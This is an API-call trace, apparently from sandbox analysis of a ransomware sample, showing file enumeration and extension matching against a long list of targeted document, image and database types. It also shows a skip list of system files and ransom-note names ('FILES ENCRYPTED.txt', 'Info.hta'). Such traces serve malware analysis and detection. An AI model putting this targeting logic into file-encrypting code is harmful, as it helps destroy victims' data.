	[0068.865] lstrlenW (lpString=".psb") returned 4
	[0068.865] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0068.865] lstrlenW (lpString=".psd") returned 4
	[0068.865] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0068.865] lstrlenW (lpString=".pst") returned 4
	[0068.865] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0068.865] lstrlenW (lpString=".ptx") returned 4
	[0068.865] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0068.865] lstrlenW (lpString=".pub") returned 4
	[0068.865] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0068.865] lstrlenW (lpString=".pwm") returned 4
	[0068.865] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0068.865] lstrlenW (lpString=".pxr") returned 4
	[0068.865] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0068.865] lstrlenW (lpString=".py") returned 3
	[0068.865] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0068.865] lstrlenW (lpString=".qt") returned 3
	[0068.865] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0068.865] lstrlenW (lpString=".r3d") returned 4
	[0068.865] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0068.865] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0068.865] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0068.866] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0068.866] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0068.866] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0068.866] FindClose (in: hFindFile=0x519618 | out: hFindFile=0x519618) returned 1
	[0068.867] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0068.867] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0068.867] FindClose (in: hFindFile=0x519518 | out: hFindFile=0x519518) returned 1
	[0068.867] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0068.868] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0068.868] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x30f0948
	[0068.868] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0068.868] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x519518
	[0068.869] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0068.869] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0068.869] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0068.869] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1
	[0068.869] lstrlenW (lpString="S-1-5-18") returned 8
	[0068.869] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1
	[0068.869] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0068.870] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0068.870] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x519618
	[0068.870] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.870] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0068.870] lstrlenW (lpString="desktop.ini") returned 11
	[0068.870] lstrlenW (lpString=".1cd") returned 4
	[0068.870] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0068.870] lstrlenW (lpString=".3ds") returned 4
	[0068.870] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0068.870] lstrlenW (lpString=".3fr") returned 4
	[0068.870] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0068.870] lstrlenW (lpString=".3g2") returned 4
	[0068.870] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0068.870] lstrlenW (lpString=".3gp") returned 4
	[0068.870] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0068.870] lstrlenW (lpString=".7z") returned 3
	[0068.870] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0068.870] lstrlenW (lpString=".accda") returned 6
	[0068.870] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0068.870] lstrlenW (lpString=".accdb") returned 6
	[0068.870] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0068.870] lstrlenW (lpString=".accdc") returned 6
	[0068.871] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0068.871] lstrlenW (lpString=".accde") returned 6
	[0068.871] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0068.871] lstrlenW (lpString=".accdt") returned 6
	[0068.871] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0068.871] lstrlenW (lpString=".accdw") returned 6
	[0068.871] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0068.871] lstrlenW (lpString=".adb") returned 4
	[0068.871] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".adp") returned 4
	[0068.871] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".ai") returned 3
	[0068.871] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0068.871] lstrlenW (lpString=".ai3") returned 4
	[0068.871] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".ai4") returned 4
	[0068.871] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".ai5") returned 4
	[0068.871] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".ai6") returned 4
	[0068.871] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".ai7") returned 4
	[0068.871] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".ai8") returned 4
	[0068.871] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".anim") returned 5
	[0068.871] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0068.871] lstrlenW (lpString=".arw") returned 4
	[0068.871] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".as") returned 3
	[0068.871] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0068.871] lstrlenW (lpString=".asa") returned 4
	[0068.871] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0068.871] lstrlenW (lpString=".asc") returned 4
	[0068.871] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".ascx") returned 5
	[0068.872] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0068.872] lstrlenW (lpString=".asm") returned 4
	[0068.872] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".asmx") returned 5
	[0068.872] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0068.872] lstrlenW (lpString=".asp") returned 4
	[0068.872] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".aspx") returned 5
	[0068.872] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0068.872] lstrlenW (lpString=".asr") returned 4
	[0068.872] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".asx") returned 4
	[0068.872] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".avi") returned 4
	[0068.872] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".avs") returned 4
	[0068.872] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".backup") returned 7
	[0068.872] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0068.872] lstrlenW (lpString=".bak") returned 4
	[0068.872] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".bay") returned 4
	[0068.872] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".bd") returned 3
	[0068.872] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0068.872] lstrlenW (lpString=".bin") returned 4
	[0068.872] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".bmp") returned 4
	[0068.872] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".bz2") returned 4
	[0068.872] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0068.872] lstrlenW (lpString=".c") returned 2
	[0068.872] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0068.872] lstrlenW (lpString=".cdr") returned 4
	[0068.873] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".cer") returned 4
	[0068.873] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".cf") returned 3
	[0068.873] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0068.873] lstrlenW (lpString=".cfc") returned 4
	[0068.873] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".cfm") returned 4
	[0068.873] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".cfml") returned 5
	[0068.873] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0068.873] lstrlenW (lpString=".cfu") returned 4
	[0068.873] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".chm") returned 4
	[0068.873] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".cin") returned 4
	[0068.873] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".class") returned 6
	[0068.873] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0068.873] lstrlenW (lpString=".clx") returned 4
	[0068.873] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".config") returned 7
	[0068.873] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0068.873] lstrlenW (lpString=".cpp") returned 4
	[0068.873] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".cr2") returned 4
	[0068.873] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".crt") returned 4
	[0068.873] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".crw") returned 4
	[0068.873] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0068.873] lstrlenW (lpString=".cs") returned 3
	[0068.873] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0068.873] lstrlenW (lpString=".css") returned 4
	[0068.873] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".csv") returned 4
	[0068.874] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".cub") returned 4
	[0068.874] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dae") returned 4
	[0068.874] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dat") returned 4
	[0068.874] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".db") returned 3
	[0068.874] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0068.874] lstrlenW (lpString=".dbf") returned 4
	[0068.874] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dbx") returned 4
	[0068.874] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dc3") returned 4
	[0068.874] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dcm") returned 4
	[0068.874] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dcr") returned 4
	[0068.874] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".der") returned 4
	[0068.874] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dib") returned 4
	[0068.874] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dic") returned 4
	[0068.874] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".dif") returned 4
	[0068.874] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0068.874] lstrlenW (lpString=".divx") returned 5
	[0068.874] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0068.874] lstrlenW (lpString=".djvu") returned 5
	[0068.874] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0068.874] lstrlenW (lpString=".dng") returned 4
	[0068.874] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".doc") returned 4
	[0068.875] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".docm") returned 5
	[0068.875] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0068.875] lstrlenW (lpString=".docx") returned 5
	[0068.875] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0068.875] lstrlenW (lpString=".dot") returned 4
	[0068.875] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".dotm") returned 5
	[0068.875] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0068.875] lstrlenW (lpString=".dotx") returned 5
	[0068.875] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0068.875] lstrlenW (lpString=".dpx") returned 4
	[0068.875] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".dqy") returned 4
	[0068.875] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".dsn") returned 4
	[0068.875] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".dt") returned 3
	[0068.875] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0068.875] lstrlenW (lpString=".dtd") returned 4
	[0068.875] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".dwg") returned 4
	[0068.875] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".dwt") returned 4
	[0068.875] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".dx") returned 3
	[0068.875] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0068.875] lstrlenW (lpString=".dxf") returned 4
	[0068.875] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".edml") returned 5
	[0068.875] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0068.875] lstrlenW (lpString=".efd") returned 4
	[0068.875] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0068.875] lstrlenW (lpString=".elf") returned 4
	[0068.876] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".emf") returned 4
	[0068.876] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".emz") returned 4
	[0068.876] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".epf") returned 4
	[0068.876] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".eps") returned 4
	[0068.876] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".epsf") returned 5
	[0068.876] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0068.876] lstrlenW (lpString=".epsp") returned 5
	[0068.876] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0068.876] lstrlenW (lpString=".erf") returned 4
	[0068.876] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".exr") returned 4
	[0068.876] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".f4v") returned 4
	[0068.876] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".fido") returned 5
	[0068.876] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0068.876] lstrlenW (lpString=".flm") returned 4
	[0068.876] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".flv") returned 4
	[0068.876] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".frm") returned 4
	[0068.876] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".fxg") returned 4
	[0068.876] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".geo") returned 4
	[0068.876] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".gif") returned 4
	[0068.876] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".grs") returned 4
	[0068.876] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0068.876] lstrlenW (lpString=".gz") returned 3
	[0068.877] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0068.877] lstrlenW (lpString=".h") returned 2
	[0068.877] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0068.877] lstrlenW (lpString=".hdr") returned 4
	[0068.877] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".hpp") returned 4
	[0068.877] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".hta") returned 4
	[0068.877] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".htc") returned 4
	[0068.877] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".htm") returned 4
	[0068.877] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".html") returned 5
	[0068.877] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0068.877] lstrlenW (lpString=".icb") returned 4
	[0068.877] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".ics") returned 4
	[0068.877] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".iff") returned 4
	[0068.877] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".inc") returned 4
	[0068.877] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0068.877] lstrlenW (lpString=".indd") returned 5
	[0068.877] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0068.877] lstrlenW (lpString=".ini") returned 4
	[0068.877] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0068.877] lstrlenW (lpString="desktop.ini") returned 11
	[0068.877] lstrlenW (lpString=".Z9") returned 3
	[0068.877] lstrcmpiW (lpString1=".Z9", lpString2="ini") returned -1
	[0068.877] lstrlenW (lpString="desktop.ini") returned 11
	[0068.877] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1
	[0068.877] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1
	[0068.877] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1
	[0068.877] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1
	[0068.878] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1
	[0068.878] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1
	[0068.878] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1
	[0068.878] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="desktop.ini") returned 1
	[0068.878] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0068.878] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0068.878] FindClose (in: hFindFile=0x519618 | out: hFindFile=0x519618) returned 1
	[0068.878] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
